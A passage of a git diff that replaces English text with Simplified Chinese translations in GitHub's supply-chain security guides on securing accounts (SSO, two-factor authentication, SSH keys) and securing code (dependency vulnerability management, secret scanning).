要开始使用,请参阅“[创建存储库安全公告](/code-security/repository-security-advisories/creating-a-repository-security-advisory)”。 diff --git a/translations/zh-CN/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md b/translations/zh-CN/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md index d16b736502..0369434b2e 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts.md @@ -1,8 +1,8 @@ --- -title: Best practices for securing accounts +title: 确保帐户安全的最佳做法 shortTitle: Securing accounts allowTitleToDifferFromFilename: true -intro: Guidance on how to protect accounts with access to your software supply chain. +intro: 关于如何保护可以访问你的软件供应链的帐户的指导。 versions: fpt: '*' ghec: '*' @@ -15,123 +15,117 @@ topics: - SSH - Security - Accounts +ms.openlocfilehash: 4225b80d139462fd64e440947c1eba9adb817294 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883407' --- -## About this guide +## 关于本指南 -This guide describes the highest impact changes you can make to increase account security. Each section outlines a change you can make to your processes to improve the security. The highest impact changes are listed first. +本指南介绍为提高帐户安全性而做出的影响最大的更改。 每个部分都概述了可以对流程进行的更改,以提高安全性。 影响最大的更改列在前面。 -## What's the risk? +## 风险是什么? -Account security is fundamental to the security of your supply chain. If an attacker can take over your account on {% data variables.product.product_name %}, they can then make malicious changes to your code or build process. So your first goal should be to make it difficult for someone to take over your account and the accounts of other {% ifversion ghes %}users{% else %}members{% endif %} of {% ifversion fpt %}your organization{% elsif ghec or ghae %}your organization or enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. +帐户安全性是供应链安全的基础。 如果攻击者可以在 {% data variables.product.product_name %} 上接管你的帐户,则可以对代码或生成过程进行恶意更改。 因此,你的第一个目标应该是让某人难以接管你的帐户以及{% ifversion fpt %}你的组织{% elsif ghec or ghae %}你的组织或企业{% elsif ghes %}{% data variables.product.product_location %}{% endif %}的其他{% ifversion ghes %}用户{% else %}成员{% endif %}的帐户。 {% ifversion ghec or ghes %} -## Centralize authentication +## 集中进行身份验证 {% endif %} -{% ifversion ghec %} -If you're an enterprise or organization owner, you can configure centralized authentication with SAML. While you can add or remove members manually, it's simpler and more secure to set up single sign-on (SSO) and SCIM between {% data variables.product.product_name %} and your SAML identity provider (IdP). This also simplifies the authentication process for all members of your enterprise. +{% ifversion ghec %} 如果你是企业或组织所有者,则可以使用 SAML 配置集中式身份验证。 虽然可以手动添加或删除成员,但在 {% data variables.product.product_name %} 与 SAML 标识提供者 (IdP) 之间设置单一登录 (SSO) 和 SCIM 更简单且更安全。 这也简化了企业所有成员的身份验证过程。 -You can configure SAML authentication for an enterprise or organization account. With SAML, you can grant access to the personal accounts of members of your enterprise or organization on {% data variables.location.product_location %} through your IdP, or you can create and control the accounts that belong to your enterprise by using {% data variables.product.prodname_emus %}. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)." +可以为企业或组织帐户配置 SAML 身份验证。 使用 SAML,可以通过 IdP 授予对 {% data variables.product.product_location %} 上企业或组织成员的个人帐户的访问权限,也可以通过使用 {% data variables.product.prodname_emus %} 创建和控制属于企业的帐户。 有关详细信息,请参阅“[关于企业身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)”。 -After you configure SAML authentication, when members request access to your resources, they'll be directed to your SSO flow to ensure they are still recognized by your IdP. If they are unrecognized, their request is declined. +配置 SAML 身份验证后,当成员请求访问你的资源时,他们将被定向到你的 SSO 流,以确保你的 IdP 仍能识别他们。 如果无法识别他们,则拒绝其请求。 -Some IdPs support a protocol called SCIM, which can automatically provision or deprovision access on {% data variables.product.product_name %} when you make changes on your IdP. With SCIM, you can simplify administration as your team grows, and you can quickly revoke access to accounts. SCIM is available for individual organizations on {% data variables.product.product_name %}, or for enterprises that use {% data variables.product.prodname_emus %}. For more information, see "[About SCIM for organizations](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)." +某些 IdP 支持名为 SCIM 的协议,在对 IdP 进行更改时,该协议可以在 {% data variables.product.product_name %} 上自动预配或取消预配访问权限。 借助 SCIM,随着团队的增长,你可以简化管理,并且可以快速撤销对帐户的访问权限。 SCIM 适用于 {% data variables.product.product_name %} 上的单个组织,或者适用于使用 {% data variables.product.prodname_emus %} 的企业。 有关详细信息,请参阅“[关于组织的 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)”。 {% endif %} -{% ifversion ghes %} -If you're the site administrator for {% data variables.location.product_location %}, you can simplify the login experience for users by choosing an authentication method that connects with your existing identity provider (IdP), like CAS, SAML, or LDAP. This means that they no longer need to remember an extra password for {% data variables.product.prodname_dotcom %}. +{% ifversion ghes %} 如果你是 {% data variables.product.product_location %} 的站点管理员,则可以通过选择与现有标识提供者 (IdP) 连接的身份验证方法来简化用户的登录体验,例如 CAS、SAML 或 LDAP。 这意味着,他们不再需要记住 {% data variables.product.prodname_dotcom %} 的额外密码。 -Some authentication methods also support communicating additional information to {% data variables.product.product_name %}, for example, what groups the user is a member of, or synchronizing cryptographic keys for the user. This is a great way to simplify your administration as your organization grows. +某些身份验证方法还支持将其他信息传达给 {% data variables.product.product_name %},例如,用户所属的组或同步用户的加密密钥。 这是在组织增长时简化管理的好方法。 -For more information about the authentication methods available for {% data variables.product.product_name %}, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)." +有关可用于 {% data variables.product.product_name %} 的身份验证方法的详细信息,请参阅“[关于企业身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)”。 {% endif %} -## Configure two-factor authentication +## 配置双因素身份验证 -The best way to improve the security of {% ifversion fpt %}your personal account{% elsif ghes %}your personal account or {% data variables.location.product_location %}{% elsif ghec %}your accounts{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %} is to configure two-factor authentication (2FA){% ifversion ghae %} on your SAML identity provider (IdP){% endif %}. Passwords by themselves can be compromised by being guessable, by being reused on another site that's been compromised, or by social engineering, like phishing. 2FA makes it much more difficult for your accounts to be compromised, even if an attacker has your password. +提高{% ifversion fpt %}你的个人帐户{% elsif ghes %}你的个人帐户或 {% data variables.product.product_location %}{% elsif ghec %}你的帐户{% elsif ghae %}你的企业在 {% data variables.product.product_name %}{% endif %} 上的安全性的最佳方式是,在你的 SAML 标识提供者 (IdP){% endif %} 上配置双因素身份验证 (2FA){% ifversion ghae %}。 密码本身可以通过猜测、在另一个遭到入侵的网站上重复使用或社交工程(如网络钓鱼)而泄露。 即使攻击者拥有密码,2FA 也会使帐户更加难以遭到入侵。 {% ifversion not ghae %} -{% ifversion ghec %} -If you're an enterprise owner, you may be able to configure a policy to require 2FA for all organizations owned by your enterprise. +{% ifversion ghec %} 如果你是企业所有者,则可以为企业拥有的所有组织配置策略以要求使用 2FA。 {% endif %} -{% ifversion ghes %} -If you're the site administrator for {% data variables.location.product_location %}, you may be able to configure 2FA for all users of your instance. The availability of 2FA on {% data variables.product.product_name %} depends on the authentication method that you use. For more information, see "[Centralize user authentication](#centralize-user-authentication)." +{% ifversion ghes %} 如果你是 {% data variables.product.product_location %} 的站点管理员,则可能可以为实例的所有用户配置 2FA。 {% data variables.product.product_name %} 上 2FA 的可用性取决于所使用的身份验证方法。 有关详细信息,请参阅“[集中进行用户身份验证](#centralize-user-authentication)”。 {% endif %} -If you're an organization owner, then you {% ifversion fpt %}can{% else %}may be able to{% endif %} require that all members of the organization enable 2FA. +如果你是组织所有者,则{% ifversion fpt %}可以{% else %}可能能够{% endif %}要求组织的所有成员启用 2FA。 {% ifversion ghec or ghes %} -### Configure your enterprise account +### 配置企业帐户 -Enterprise owners may be able to require 2FA for all {% ifversion ghes %}users on{% elsif ghec %}members of{% endif %} the {% ifversion ghes %}instance{% elsif ghec %}enterprise{% endif %}. The availability of 2FA policies on {% data variables.product.product_name %} depends on how {% ifversion ghes %}users{% else %}members{% endif %} authenticate to access your {% ifversion ghes %}instance{% elsif ghec %}enterprise's resources{% endif %}. +企业所有者可能能够要求{% ifversion ghes %}实例{% elsif ghec %}企业{% endif %}{% ifversion ghes %}上的所有用户{% elsif ghec %}的所有成员{% endif %}使用 2FA。 {% data variables.product.product_name %} 上 2FA 策略的可用性取决于{% ifversion ghes %}用户{% else %}成员{% endif %}如何进行身份验证以访问{% ifversion ghes %}实例{% elsif ghec %}企业的资源{% endif %}。 {% ifversion ghes %} -- If you sign into {% data variables.location.product_location %} through an external IdP using CAS or SAML SSO, you -{% elsif ghec %} -If your enterprise uses {% data variables.product.prodname_emus %} or SAML authentication is enforced for your enterprise, you -{%- endif %} cannot configure 2FA on {% data variables.product.product_name %}. Someone with administrative access to your IdP must configure 2FA for the IdP. +- 如果使用 CAS 或 SAML SSO 通过外部 IdP 登录到 {% data variables.product.product_location %},则{% elsif ghec %}如果企业使用 {% data variables.product.prodname_emus %} 或为你的企业强制执行 SAML 身份验证,则 {%- endif %} 无法在 {% data variables.product.product_name %} 上配置 2FA。 对 IdP 具有管理访问权限的人员必须为 IdP 配置 2FA。 {% ifversion ghes %} -- If you sign into {% data variables.location.product_location %} through an external LDAP directory, you can require 2FA for your enterprise on {% data variables.product.product_name %}. If you allow built-in authentication for users outside of your directory, individual users can enable 2FA, but you cannot require 2FA for your enterprise. +- 如果通过外部 LDAP 目录登录到 {% data variables.product.product_location %},则可以在 {% data variables.product.product_name %} 上为企业要求 2FA。 如果允许目录外部的用户进行内置身份验证,则单个用户可以启用 2FA,但企业不需要 2FA。 {% endif %} -For more information, see {% ifversion ghec %}"[About identity and access management for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)" and {% endif %}"[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#requiring-two-factor-authentication-for-organizations-in-your-enterprise)." +有关详细信息,请参阅{% ifversion ghec %}“[关于企业标识和访问管理](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)”和{% endif %}“[为企业中的安全设置实施策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#requiring-two-factor-authentication-for-organizations-in-your-enterprise)”。 {% endif %} -### Configure your personal account +### 配置个人帐户 -{% ifversion ghec or ghes %} -{% note %} +{% ifversion ghec or ghes %} {% note %} -**Note**: Depending on the authentication method that {% ifversion ghec %}an enterprise owner{% elsif ghes %}a site administrator{% endif %} has configured for {% ifversion ghec %}your enterprise on {% endif %}{% data variables.location.product_location %}, you may not be able to enable 2FA for your personal account. +注意:根据{% ifversion ghec %}企业所有者{% elsif ghes %}站点管理员{% endif %} 为 {% data variables.product.product_location %} {% ifversion ghec %}上的企业{% endif %}配置的身份验证方法,可能无法为个人帐户启用 2FA。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -{% data variables.product.product_name %} supports several options for 2FA, and while any of them is better than nothing, the most secure option is WebAuthn. WebAuthn requires either a hardware security key or a device that supports it through things like Windows Hello or Mac TouchID. It's possible, although difficult, to phish other forms of 2FA (for example, someone asking you to read them your 6 digit one-time password). However WebAuthn isn't phishable, because domain scoping is built into the protocol, which prevents credentials from a website impersonating a login page from being used on {% data variables.product.product_name %}. +{% data variables.product.product_name %} 支持 2FA 的多个选项,尽管其中任何一个都比没有好,但最安全的选项是 WebAuthn。 WebAuthn 需要硬件安全密钥或通过 Windows Hello 或 Mac TouchID 等内容支持它的设备。 尽管很困难,但有可能对其他形式的 2FA 进行网络钓鱼(例如,有人要求你向他们读取你的 6 位一次性密码)。 但是 WebAuthn 不可网络钓鱼,因为域范围内置于协议中,从而阻止来自模拟登录页的网站的凭据在 {% data variables.product.product_name %} 上使用。 -When you set up 2FA, you should always download the recovery codes and set up more than one factor. This ensures that access to your account doesn't depend on a single device. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)," "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods)," and [GitHub Branded hardware security keys](https://thegithubshop.com/products/github-branded-yubikey) in the GitHub shop. +设置 2FA 时,应始终下载恢复代码并设置多个因素。 这可确保对帐户的访问不依赖于单个设备。 有关详细信息,请参阅 GitHub 商店中的“[配置双因素身份验证](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)”、“[配置双因素身份验证恢复方法](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods)”和[GitHub 品牌硬件安全密钥](https://thegithubshop.com/products/github-branded-yubikey)。 -### Configure your organization account +### 配置组织帐户 -{% ifversion ghec or ghes %} -{% note %} +{% ifversion ghec or ghes %} {% note %} -**Note**: Depending on the authentication method that {% ifversion ghec %}an enterprise owner{% elsif ghes %}a site administrator{% endif %} has configured for {% ifversion ghec %}your enterprise on {% endif %}{% data variables.location.product_location %}, you may not be able to require 2FA for your organization. +注意:根据{% ifversion ghec %}企业所有者{% elsif ghes %}站点管理员{% endif %} 为 {% data variables.product.product_location %} {% ifversion ghec %}上的企业{% endif %}配置的身份验证方法,可能无法为组织要求 2FA。 -{% endnote %} -{% endif %} +{% endnote %} {% endif %} -If you're an organization owner, you can see which users don't have 2FA enabled, help them get set up, and then require 2FA for your organization. To guide you through that process, see: +如果你是组织所有者,则可以看到哪些用户未启用 2FA,帮助他们进行设置,然后为组织要求 2FA。 若要引导你完成此过程,请参阅: -1. "[Viewing whether users in your organization have 2FA enabled](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled)" -2. "[Preparing to require two-factor authentication in your organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization)" -3. "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization)" +1. [查看组织中的用户是否已启用 2FA](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled) +2. “[准备在组织中要求双因素身份验证](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization)” +3. “[你的组织中需要双因素身份验证](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization)” {% endif %} -## Connect to {% data variables.product.product_name %} using SSH keys +## 使用 SSH 密钥连接到 {% data variables.product.product_name %} -There are other ways to interact with {% data variables.product.product_name %} beyond signing into the website{% ifversion ghae %} via your IdP{% endif %}. Many people authorize the code they push to {% data variables.product.prodname_dotcom %} with an SSH private key. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)." +除了通过 IdP{% endif %} 登录到网站{% ifversion ghae %}之外,还有其他方法可以与 {% data variables.product.product_name %} 进行交互。 许多人使用 SSH 私钥授权推送到 {% data variables.product.prodname_dotcom %} 的代码。 有关详细信息,请参阅“[关于 SSH](/authentication/connecting-to-github-with-ssh/about-ssh)”。 -Just like {% ifversion ghae %}the password for your IdP account{% else %}your account password{% endif %}, if an attacker were able to get your SSH private key, they could impersonate you and push malicious code to any repository you have write access for. If you store your SSH private key on a disk drive, it's a good idea to protect it with a passphrase. For more information, see "[Working with SSH key passphrases](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases)." +就像{% ifversion ghae %}你的 IdP 帐户密码{% else %}帐户密码{% endif %}一样,如果攻击者能够获取 SSH 私钥,他们可能会模拟你并将恶意代码推送到你拥有写入访问权限的任何存储库。 如果将 SSH 私钥存储在磁盘驱动器上,最好使用通行短语保护它。 有关详细信息,请参阅“[使用 SSH 密钥密码](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases)”。 -Another option is to generate SSH keys on a hardware security key. You could use the same key you're using for 2FA. Hardware security keys are very difficult to compromise remotely, because the private SSH key remains on the hardware, and is not directly accessible from software. For more information, see "[Generating a new SSH key for a hardware security key](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)." +另一种方法是在硬件安全密钥上生成 SSH 密钥。 可以使用用于 2FA 的同一密钥。 硬件安全密钥很难远程入侵,因为专用 SSH 密钥保留在硬件上,并且无法直接从软件访问。 有关详细信息,请参阅“[为硬件安全密钥生成新的 SSH 密钥](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)”。 -{% ifversion ghec or ghes or ghae %} -Hardware-backed SSH keys are quite secure, but the hardware requirement might not work for some organizations. An alternative approach is to use SSH keys that are only valid for a short period of time, so even if the private key is compromised it can't be exploited for very long. This is the concept behind running your own SSH certificate authority. While this approach gives you a lot of control over how users authenticate, it also comes with the responsibility of maintaining an SSH certificate authority yourself. For more information, see "[About SSH certificate authorities](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)." +{% ifversion ghec or ghes or ghae %} 硬件支持的 SSH 密钥非常安全,但硬件要求可能不适用于某些组织。 另一种方法是使用仅在短时间内有效的 SSH 密钥,因此即使私钥遭到入侵,也不可能被利用很长时间。 这是运行自己的 SSH 证书颁发机构背后的概念。 虽然此方法可让你对用户身份验证的方式进行大量控制,但它还负责自行维护 SSH 证书颁发机构。 有关详细信息,请参阅“[关于 SSH 证书颁发机构](/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities)”。 {% endif %} -## Next steps +## 后续步骤 -- "[Securing your end-to-end supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)" +- “[保护端到端供应链](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)” -- "[Best practices for securing code in your supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code)" +- [保护供应链中的代码的最佳做法](/code-security/supply-chain-security/end-to-end-supply-chain/securing-code) -- "[Best practices for securing your build system](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds)" +- [保护生成系统的最佳做法](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds) diff --git a/translations/zh-CN/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md b/translations/zh-CN/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md index e9dd3eff43..746bdf7b1f 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/end-to-end-supply-chain/securing-code.md @@ -1,8 +1,8 @@ --- -title: Best practices for securing code in your supply chain +title: 保护供应链中的代码的最佳做法 shortTitle: Securing code allowTitleToDifferFromFilename: true -intro: Guidance on how to protect the center of your supply chain—the code you write and the code you depend on. +intro: 有关如何保护供应链中心的指导 - 你编写的代码和所依赖的代码。 versions: fpt: '*' ghec: '*' @@ -15,111 +15,108 @@ topics: - Vulnerabilities - Advanced Security - Secret scanning +ms.openlocfilehash: 9fa10b05cfeadb4e2cde37829e703fc527571c67 +ms.sourcegitcommit: 7a74d5796695bb21c30e4031679253cbc16ceaea +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 11/28/2022 +ms.locfileid: '148184002' --- +## 关于本指南 -## About this guide +本指南介绍为提高代码的安全性而做出的影响最大的更改。 每个部分都概述了可以对流程进行的更改,以提高安全性。 影响最大的更改列在前面。 -This guide describes the highest impact changes you can make to improve the security of your code. Each section outlines a change you can make to your processes to improve security. The highest impact changes are listed first. +## 风险是什么? -## What's the risk? +开发过程中的主要风险包括: -Key risks in the development process include: +- 使用存在安全漏洞的依赖项,攻击者可能利用该安全漏洞。 +- 身份验证凭据或令牌泄露,攻击者可利用它们来访问你的资源。 +- 在自己的代码中引入攻击者可能会利用的漏洞。 -- Using dependencies with security vulnerabilities that an attacker could exploit. -- Leaking authentication credentials or a token that an attacker could use to access your resources. -- Introducing a vulnerability to your own code that an attacker could exploit. +这些风险会使你的资源和项目受到攻击,并且这些风险直接传递给使用你创建的包的任何人。 以下部分介绍如何保护自己和用户免受这些风险的影响。 -These risks open your resources and projects to attack and those risks are passed directly on to anyone who uses a package that you create. The following sections explain how you can protect yourself and your users from these risks. +## 为依赖项创建漏洞管理程序 -## Create a vulnerability management program for dependencies +可以通过为依赖项创建漏洞管理程序来保护所依赖的代码。 概括而言,这应该包括确保执行以下操作的流程: -You can secure the code you depend on by creating a vulnerability management program for dependencies. At a high level this should include processes to ensure that you: +1. 创建依赖项清单。 -1. Create an inventory of your dependencies. - -1. Know when there is a security vulnerability in a dependency. +1. 了解依赖项中何时存在安全漏洞。 {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} -1. Enforce dependency reviews on your pull requests.{% endif %} +1. 对拉取请求强制实施依赖项审查。{% endif %} -1. Assess the impact of that vulnerability on your code and decide what action to take. +1. 评估该漏洞对代码的影响,并决定要执行的操作。 -### Automatic inventory generation +### 自动生成清单 -As a first step, you want to make a complete inventory of your dependencies. The dependency graph for a repository shows you dependencies for supported ecosystems. If you check in your dependencies, or use other ecosystems, you will need to supplement this with data from 3rd party tools or by listing dependencies manually. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." +首先需要创建依赖项的完整清单。 存储库的依赖项关系图显示受支持生态系统的依赖项。 如果签入依赖项或使用其他生态系统,则需要使用第三方工具的数据来补充,或手动列出依赖项。 有关详细信息,请参阅“[关于依赖项关系图](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)”。 -### Automatic detection of vulnerabilities in dependencies +### 自动检测依赖项中的漏洞 -{% data variables.product.prodname_dependabot %} can help you by monitoring your dependencies and notifying you when they contain a known vulnerability. {% ifversion fpt or ghec or ghes %}You can even enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests that update the dependency to a secure version.{% endif %} For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)"{% ifversion fpt or ghec or ghes %} and "[About Dependabot security updates](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)"{% endif %}. +{% data variables.product.prodname_dependabot %} 可以帮助你监视依赖项,并在它们包含已知漏洞时通知你。 {% ifversion fpt or ghec or ghes %}你甚至可以启用 {% data variables.product.prodname_dependabot %} 来自动引发将依赖项更新到安全版本的拉取请求。{% endif %} 有关详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)”{% ifversion fpt or ghec or ghes %}和“[关于 Dependabot 安全更新](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)”{% endif %}。 {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} -### Automatic detection of vulnerabilities in pull requests +### 自动检测拉取请求中的漏洞 -The {% data variables.dependency-review.action_name %} enforces a dependency review on your pull requests, making it easy for you to see if a pull request will introduce a vulnerable version of a dependency to your repository. When a vulnerability is detected, the {% data variables.dependency-review.action_name %} can block the pull request from merging. For more information, see "[Dependency review enforcement](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#dependency-review-enforcement)."{% endif %} +{% data variables.product.prodname_dependency_review_action %} 对拉取请求强制实施依赖项审查,从而方便你查看拉取请求是否会将易受攻击的依赖项版本引入存储库。 检测到漏洞时,{% data variables.product.prodname_dependency_review_action %} 可能会阻止拉取请求合并。 有关详细信息,请参阅“[强制实施依赖项审查](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#dependency-review-enforcement)”。{% endif %} -### Assessment of exposure to risk from a vulnerable dependency +### 评估易受攻击的依赖项的风险 -When you discover you are using a vulnerable dependency, for example, a library or a framework, you must assess your project's level of exposure and determine what action to take. Vulnerabilities are usually reported with a severity score to show how severe their impact could be. The severity score is a useful guide but cannot tell you the full impact of the vulnerability on your code. +当发现使用的是易受攻击的依赖项(例如库或框架)时,必须评估项目的暴露级别并确定要执行的操作。 漏洞报告通常带有严重性分数,以显示其影响的严重程度。 严重性分数是一个有用的指南,但无法告诉你漏洞对代码的全部影响。 -To assess the impact of a vulnerability on your code, you also need to consider how you use the library and determine how much risk that actually poses to your system. Maybe the vulnerability is part of a feature that you don't use, and you can update the affected library and continue with your normal release cycle. Or maybe your code is badly exposed to risk, and you need to update the affected library and ship an updated build right away. This decision depends on how you're using the library in your system, and is a decision that only you have the knowledge to make. +若要评估漏洞对代码的影响,还需要考虑如何使用库并确定该库实际对系统构成的风险。 也许漏洞是你不使用的功能的一部分,你可以更新受影响的库并继续使用正常的发布周期。 或者,你的代码可能暴露在风险中,你需要更新受影响的库并立即交付更新的生成。 此决定取决于你在系统中使用库的方式,并且只有你知晓如何做出这个决定。 -## Secure your communication tokens +## 保护通信令牌 -Code often needs to communicate with other systems over a network, and requires secrets (like a password, or an API key) to authenticate. Your system needs access to those secrets to run, but it's best practice to not include them in your source code. This is especially important for repositories to which many people might have access{% ifversion not ghae %} and critical for public repositories{% endif %}. +代码通常需要通过网络与其他系统通信,并需要机密(如密码或 API 密钥)进行身份验证。 系统需要访问这些机密才能运行,但最佳做法是不要将它们包含在源代码中。 这对许多用户有权访问的存储库尤其重要,{% ifversion not ghae %}对公共存储库至关重要{% endif %}。 -### Automatic detection of secrets committed to a repository +### 自动检测提交到存储库的机密 {% note %} -**Note:** {% data reusables.gated-features.secret-scanning-partner %} +注意:{% data reusables.gated-features.secret-scanning-partner %} {% endnote %} {% data reusables.secret-scanning.enterprise-enable-secret-scanning %} -{% ifversion fpt or ghec %} -{% data variables.product.prodname_dotcom %} partners with many providers to automatically detect when secrets are committed to or stored in your public repositories, and will notify the provider so they can take appropriate actions to ensure your account remains secure. For more information, see "[About {% data variables.product.prodname_secret_scanning %} for partner patterns](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-partner-patterns)." +{% ifversion fpt or ghec %} {% data variables.product.prodname_dotcom %} 与许多提供商合作,自动检测何时将机密提交到公共存储库或存储在公共存储库中,并将通知提供商,以便他们可以采取适当措施来确保帐户保持安全。 有关详细信息,请参阅“[关于合作伙伴模式的 {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-partner-patterns)”。 {% endif %} -{% ifversion fpt %} -{% data reusables.secret-scanning.fpt-GHAS-scans %} -{% elsif ghec %} -If your organization uses {% data variables.product.prodname_GH_advanced_security %}, you can enable {% data variables.product.prodname_secret_scanning_GHAS %} on any repository owned by the organization. You can also define custom patterns to detect additional secrets at the repository, organization, or enterprise level. For more information, see "[About {% data variables.product.prodname_secret_scanning_GHAS %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-advacned-security)." -{% else %} -You can configure {% data variables.product.prodname_secret_scanning %} to check for secrets issued by many service providers and to notify you when any are detected. You can also define custom patterns to detect additional secrets at the repository, organization, or enterprise level. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning)" and "[Secret scanning patterns](/code-security/secret-scanning/secret-scanning-patterns)." +{% ifversion fpt %} {% data reusables.secret-scanning.fpt-GHAS-scans %} {% elsif ghec %} 如果你的组织使用 {% data variables.product.prodname_GH_advanced_security %},则可以对组织拥有的任何存储库启用 {% data variables.product.prodname_secret_scanning_GHAS %}。 还可以定义自定义模式来检测存储库、组织或企业级的其他机密。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_secret_scanning_GHAS %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-advacned-security)”。 +{% else %} 可以将 {% data variables.product.prodname_secret_scanning %} 配置为检查许多服务提供商颁发的机密,并在检测到任何机密时通知你。 还可以定义自定义模式来检测存储库、组织或企业级的其他机密。 有关详细信息,请参阅“[关于机密扫描](/code-security/secret-scanning/about-secret-scanning)”和“[机密扫描模式](/code-security/secret-scanning/secret-scanning-patterns)”。 {% endif %} -### Secure storage of secrets you use in {% data variables.product.product_name %} +### 保护 {% data variables.product.product_name %} 中使用的机密存储 -{% ifversion fpt or ghec %} -Besides your code, you probably need to use secrets in other places. For example, to allow {% data variables.product.prodname_actions %} workflows, {% data variables.product.prodname_dependabot %}, or your {% data variables.product.prodname_github_codespaces %} development environment to communicate with other systems. For more information on how to securely store and use secrets, see "[Encrypted secrets in Actions](/actions/security-guides/encrypted-secrets)," "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)," and "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)." +{% ifversion fpt or ghec %} 除了代码,你可能还需要在其他地方使用机密。 例如,允许 {% data variables.product.prodname_actions %} 工作流、{% data variables.product.prodname_dependabot %} 或 {% data variables.product.prodname_github_codespaces %} 开发环境与其他系统通信。 有关如何安全地存储和使用机密的详细信息,请参阅“[操作中的加密机密](/actions/security-guides/encrypted-secrets)”、“[管理 Dependabot 的加密机密](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)”和“[管理 Codespaces 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)”。 {% endif %} -{% ifversion ghes or ghae %} -Besides your code, you 